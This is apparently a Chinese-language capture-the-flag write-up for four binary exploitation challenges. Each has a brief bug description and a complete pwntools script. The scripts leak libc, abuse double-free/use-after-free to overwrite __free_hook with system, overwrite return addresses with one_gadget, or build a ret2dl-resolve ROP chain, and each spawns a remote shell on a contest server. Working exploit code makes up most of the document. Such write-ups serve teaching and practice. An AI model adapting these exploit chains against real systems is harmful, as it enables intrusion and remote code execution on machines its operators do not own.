0x01your_pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开的栈地址任意写
v4的索引是可以输入的,也会输出v4数组的内容。比较麻烦的是每次只能读写一个字节。
for i in range(8):
#M_read(str(344+288+i))
M_read(str(344 + 288 + i))
M_write(str("0"))
344数组开始到栈底的地址。228是栈底到泄露函数的地址每次加i可以泄露小端字节序的一个字节(对于0x70602345会得到0x45,0x23,0x60,0x70)
泄露libc–>写one_gadget覆盖返回地址
from pwn import *
context.log_level='debug'
local=0
if local:
p=process("./pwn")
libc = ELF("libc.so.6")
else:
p=remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
addr=""
def M_read(a):
p.recvuntil("input index")
p.sendline(a)
p.recvuntil("now value(hex) ")
global addr
context=p.recvuntil("\n",drop=True)
print context
if "ff"in context:
context=context[6:]
if len(context)==1:
context=(context+'0')
addr+=context[::-1]
#0x7f9770adf830
print addr
print addr[::-1]
def M_write(a):
p.recvuntil("input new value\n")
p.sendline(a)
#0x55614b3f2b10
p.recvuntil("name:")
p.sendline("1")
#gdb.attach(p)
for i in range(8):
#M_read(str(344+288+i))
M_read(str(344 + 288 + i))
M_write(str("0"))
#0x7f5c234f9830 (__libc_start_main+240)
print hex(int(addr[::-1],16)-240)
start_m=int(addr[::-1],16)-240
print "libc.address="+hex(start_m-libc.symbols["__libc_start_main"])
one=0x45216
one_run=start_m-libc.symbols["__libc_start_main"]+one
print "one_run="+hex(one_run)
#gdb.attach(p)
M_read(str(344))
M_write(str(int(hex(one_run)[-2:],16)))
for i in range(5):
print str(int(hex(one_run)[-4-i*2:-2-i*2],16))
M_read(str(344 + i+1))
M_write(str(int(hex(one_run)[-4-i*2:-2-i*2],16)))
for i in range(1):
print i
#M_read(str(344 +0x20 +i))
M_read("1")
M_write("\x00")
p.interactive()
精确的偏移每次都计算有点麻烦,栈可以把ebp作为基石,ida上显示的值刚好是到ebp的(旧ebp的开始)(这里是336)加上栈地址
这里的(0x7ffdc71aec78-0x7ffdc71aeb50(rbp))+0x150+i就是偏移
0x02 daily
Delete的时候没有对索引检查导致可以构造doublefree
Read没有\0可以泄露libc
用unsortbin泄露libc和堆的地址–>计算需要的索引值free同一个chunk2次–>复写free函数的hook函数getshell
(更准确应该是uaf)
from pwn import *
#context.log_level="debug"
#offset=0x204b20
offset=0x3c4b20
local=0
if local:
p=process("./pwn")
libc=ELF("./libc.so.6")
else:
p=remote("85c3e0fcae5e972af313488de60e8a5a.kr-lab.com",58512)
libc = ELF("./libc.so.6")
def add(length,context):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Please enter the length of daily:")
p.sendline(str(length))
p.recvuntil("Now you can write you daily\n")
p.sendline(context)
def show():
p.recvuntil("Your choice:")
p.sendline("1")
def edit(index,context):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Please enter the index of daily:")
p.sendline(str(index))
p.recvuntil("Please enter the new daily")
p.sendline(context)
def remove(index):
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Please enter the index of daily:")
p.sendline(str(index))
p.recvuntil("remove successful!!")
add(0x90,"A"*60)#0
add(0x60,"B")#1
#0x60202d: 0xdfebfb08e0000000 0x000000000000007f
add(0x90,"C"*60)#2
add(0x60,"C")#3
add(0x90,"C"*60)#4
add(0x90,"C"*60)#5
remove(0)
remove(2)
remove(4)
add(0x90,"a"*7)
add(0x90,"b"*7)
add(0x90,"b"*7)
show()
p.recvuntil("\n")
heap_addr=u64(p.recvuntil("1",drop=True).ljust(8,"\x00"))-0x1a0+0xd0-0x40
print hex(heap_addr)
p.recvuntil("4")
p.recvuntil('\n')
main_aren=u64(p.recvuntil("5",drop=True).ljust(8,"\x00"))-88
print hex(main_aren)
libc.address=main_aren-offset
print "libc.address="+hex(libc.address)
print "heap_addr+0xb0="+hex(heap_addr+0xb0)
edit(1,"a"*0x18+p64(heap_addr+0xb0))
remove(1)
remove(3)
def get_index(addr1):
return ((addr1-0x602060)/4-2)/4
print hex(get_index(heap_addr+0xd0))
remove(get_index(heap_addr+0xd0))
add(0x60,p64(0x60202d))
add(0x60,"/bin/sh\x00")
add(0x60,"")
add(0x60,"")
payload="a"*(0x20+3)+p64(0x60)+"a"*0x8+p64(0x90)+p64(libc.symbols["__free_hook"])
edit(7,payload)
edit(1,p64(libc.symbols["system"]))
#gdb.attach(p)
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Please enter the index of daily:")
p.sendline(str(3))
p.interactive()
对于uaf方式写入bss段的时候申请0x70的chunk用0xxxxxxd作为偏移0x7f作为size,写入数据加3后是正常的整8的偏移。
**0x02 baby_pwn **
Read函数栈溢出但是没有输出函数re2dl-resolve
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#p=process('./pwn')
p=remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com",33865)
elf=ELF("./pwn")
pop_ebp_ret=0x080485db
leave_ret=0x08048448
pppr=0x080485d9
fake_stack_size=0x800
bss=0x0804A040
read_plt=elf.plt["read"]
read_got=elf.got["read"]
bss_stage=bss+fake_stack_size
dynsym=0x080481dc
dynstr=0x0804827c
plt=0x08048380
relplt=0x0804833c
rel_offset=bss_stage+28-relplt
fake_sym_addr=bss_stage+36
align=0x10-((fake_sym_addr-dynsym)&0xf) #为了16字节对齐
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7
print 'r_info==>'+hex(r_info)
fake_raloc=p32(read_got)+p32(r_info)
st_name=fake_sym_addr-dynstr+16
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload='a'*44
payload+=p32(read_plt)
payload+=p32(pppr)
payload+=p32(0)
payload+=p32(bss_stage)
payload+=p32(100)
payload+=p32(pop_ebp_ret)
payload+=p32(bss_stage)
payload+=p32(leave_ret)
p.sendline(payload)
binsh='/bin/sh'
payload='aaaa'
payload+=p32(plt)
payload+=p32(rel_offset)
payload+='aaaa'
payload+=p32(bss_stage+80)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc
payload+='a'*align
payload+=fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()
详细原理搜索re2dl-resolve
利用条件是没有任何输出的程序,直接getshell感觉很神奇
0x04 Double
bss段里面放了链表的开始和结束地址
链表节点结构如下
|index(4字节)|size(4字节)|指向内容的指针(8字节)|指向下一个这种结构的指针(8字节)|
是2级的chunk结构,如果内容一样不会再次申请存放内容的chunk,但是free的时候头和存放数据的chunk都会free造成了double free
Unsortbin泄露–>double free 申请chunk到bss段–>复写free_hook函数
from pwn import *
local=0
#offset=0x204b20
offset=0x3c4b20 #qian
#context.log_level="debug"
#if local:
#p=process("./pwn")
p=remote("e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com", 40002)
libc=ELF("libc.so.6")
elf=ELF("pwn")
def new_info(context):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Your data:\n")
p.sendline(context)
p.recvuntil("Success")
def show_info(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Info index: ")
p.sendline(str(index))
def edit_info(index,context):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("Info index: ")
p.sendline(str(index))
p.sendline(context)
def delete_info(index):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Info index: ")
p.sendline(str(index))
# new_info("a"*0x90)
# new_info("b"*0x90)
# delete_info(0)
# new_info("a"+"\x00"*0x8f)
# gdb.attach(p)
#
#
# p.interactive()
new_info("a"*0x100)#0
new_info("a"*0x100)#1
new_info("a"*0x60)##2
delete_info(0)
show_info(1)
main_arena=u64(p.recvuntil("\x0a",drop=True)+"\x00"*2)-88
print "main_arena="+hex(main_arena)
libc.address=main_arena-offset
new_info("a"*0x60)#3
new_info("C"*0x60)#4
delete_info(2)
edit_info(3,p64(0x4040bd))
new_info("b"*0x60)#4
payload=(("a"*(3)+p64(0x4040c8)).ljust(0x60,"a"))
new_info(payload)
payload1="\x01"*8+p64(0x4040e0)+p64(0x404018)+p32(1)+p32(0x100)+p64(libc.symbols["__free_hook"])+p64(0x4040f8)\
+p32(2)+p32(0x100)+p64(0x404110)+p64(0x404118)+"/bin/sh\x00"\
+p32(3)+p32(0x100)
edit_info(0,payload1)
edit_info(1,p64(libc.symbols["system"]))
#gdb.attach(p)
delete_info(2)
p.interactive()